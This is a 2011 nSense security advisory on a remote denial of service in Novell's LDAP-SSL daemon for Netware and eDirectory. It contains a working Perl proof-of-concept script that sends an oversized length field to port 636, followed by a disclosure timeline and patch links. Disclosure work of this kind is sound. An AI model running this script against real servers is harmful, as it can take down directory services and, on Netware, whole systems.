Novell LDAP-SSL Daemon Denial Of Service

` nSense Vulnerability Research Security Advisory NSENSE-2011-002  
---------------------------------------------------------------  
  
Affected Vendor: Novell  
Affected Product: Netware, eDirectory  
Platform: Netware / Linux  
Impact: Remote Denial of Service  
Vendor response: Patch  
CVE: None  
Credit: Knud / nSense  
  
Technical details  
---------------------------------------------------------------  
It is possible to cause a Denial of Service in Novell's  
LDAP-SSL daemon due to the system blindly allocating a  
user-specified amount of memory. Exploiting the issue on a  
Netware system will cause a system-wide DoS condition. A script  
for replicating the issue is included below:  
  
#!/usr/bin/perl  
# usage: ./novell.pl 10.0.0.1 0x41424344  
use IO::Socket::SSL;  
$socket = new IO::Socket::SSL(Proto=>"tcp",  
PeerAddr=>$ARGV[0], PeerPort=>636);  
die "unable to connect to $host:$port ($!)\n" unless $socket;  
print $socket "\x30\x84" . pack("N",hex($ARGV[1])) .  
"\x02\x01\x01\x60\x09\x02\x01\x03\x04\x02\x44\x4e\x80\x00" ;  
close $socket; print "done\n";  
  
  
Timeline:  
20100819 Contacted vendor, supplied PoC  
20100825 Vendor acknowledges receipt of information  
20100826 Vendor creates ticket, SR # 10645215982  
20100922 nSense requests status update  
20100928 Vendor responds that a fix is being tested  
20101109 nSense requests status update  
20101112 nSense requests status update  
20101112 Vendor responds, fix is still being tested  
20101221 nSense requests status update  
20101227 Vendor responds, patch is being built  
20110124 nSense requests status update  
20110127 Vendor responds, patches planned for medio feb 2011  
20110320 nSense requests status update  
20110329 nSense requests status update  
20110329 Vendor responds, other issues discovered in code  
20110409 Vendor responds, patch issued for eDirectory  
20110409 nSense asks for netware patch date  
20110419 nSense asks for netware patch date  
20110427 nSense asks for netware patch date  
20110504 Vendor responds, netware patch released  
  
Solution  
Install the vendor supplied patch.  
Netware: http://download.novell.com/Download?buildid=bXPFv5btgsA~  
eDirectory: http://download.novell.com/Download?buildid=-KMoN4RVaCQ~  
  
Links:  
http://www.nsense.fi http://www.nsense.dk  
  
  
  
$$s$$$$s. ,s$$$$s ,S$$$$$s. $$s$$$$s. ,s$$$$s ,S$$$$$s.  
$$$ `$$$ ($$( $$$ `$$$ $$$ `$$$ ($$( $$$ `$$$  
$$$ $$$ `^$$s. $$$$$$$$$ $$$ $$$ `^$$s. $$$$$$$$$  
$$$ $$$ )$$) $$$ $$$ $$$ )$$) $$$  
$$$ $$$ ^$$$$$$7 `7$$$$$P $$$ $$$ ^$$$$$$7 `7$$$$$P  
  
D r i v e n b y t h e c h a l l e n g e _  
  
`